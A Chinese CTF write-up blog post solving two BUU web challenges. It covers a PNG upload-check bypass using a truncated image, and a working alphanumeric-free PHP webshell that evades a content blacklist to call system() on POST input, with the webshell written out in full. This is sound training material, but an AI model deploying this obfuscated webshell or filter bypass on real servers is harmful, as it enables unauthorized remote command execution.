BUU两Web

前言

在自习室复习数据结构之余,解了BUU上的两道web

[HarekazeCTF2019]Avatar Uploader 1

解题

这道题,一开始是个登陆框,按照格式登陆上去即可,然后就是文件上传

要求传一个 png 图片

尝试了 .htaccess .user.ini 图片马后均无果,后来想着会不会是考察 .phar , 也无果。 扫描器扫了一下,没扫到源码。

然后重新读了一遍题目,发现居然给了github上的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);

require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php');

$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);

// check whether file is uploaded
if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
error('No file was uploaded.');
}

// check file size
if ($_FILES['file']['size'] > 256000) {
error('Uploaded file is too large.');
}

// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
error('Uploaded file is not PNG format.');
}

// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}
// ok
$filename = bin2hex(random_bytes(4)) . '.png';
move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_DIR . '/' . $filename);
$session->set('avatar', $filename);
flash('info', 'Your avatar has been successfully updated!');
redirect('/');

分析代码逻辑,不难发现一个矛盾点,finfo_file() 函数 检测得是 png类型,然后 getimagesize()函数检测 不为png,才能得到最终的flag。

这里我通过修改了png图片的hex,如图:

1.png

只留下了第一行,这个时候依然可以通过 finfo_file()函数的类型检测,但是 getimagesize()函数返回为空,成功绕过检测。上传得到flag。

小结

这道题一开始卡了很久,尝试了很多方法无果,后来才发现得通过源码来分析,做题思路不应该太局限,应该具体情况具体分析。

[SUCTF 2018]GetShell

解题

这个题目一开始就给了部分后台源码如下:

1
2
3
4
5
6
7
8
9
if($contents=file_get_contents($_FILES["file"]["tmp_name"]))
{
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}

对上传的文件内容进行检测,从第六个字符开始不能出现它黑名单里面的字符,但是没有给黑名单,这里只能通过fuzz。

fuzz过后,发现字母和数字被ban了,还有一些字符也被ban了,但还是有可用的字符:

$ _ . [ ] ( ) ~ ; 想到p牛的 一篇文章 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

注意PHP7和PHP5的语法差别

最后我们用到的shell脚本:

1
2
3
4
5
6
7
8
9
<?=
$__=[];$____=$__==$__;
#1
$_=~(北)[$____];$_.=~(熙)[$____];$_.=~(北)[$____];$_.=~(拾)[$____];$_.=~(的)[$____];$_.=~(和)[$____];
#system
$___=~(样)[$____];$___.=~(说)[$____];$___.=~(小)[$____];$___.=~(次)[$____];$___.=~(站)[$____];$____=~(瞰)[$____];
#_POST
$_($$___[$_]);
#system($_POST[system]);

这里因为 <?php 刚好五个字符,所以我们用到短标签,另外用bp抓包的时候,手动去一下换行和空格,因为这里给ban了。上传后,就可以getshell了。

小结

找到漏洞利用点,打。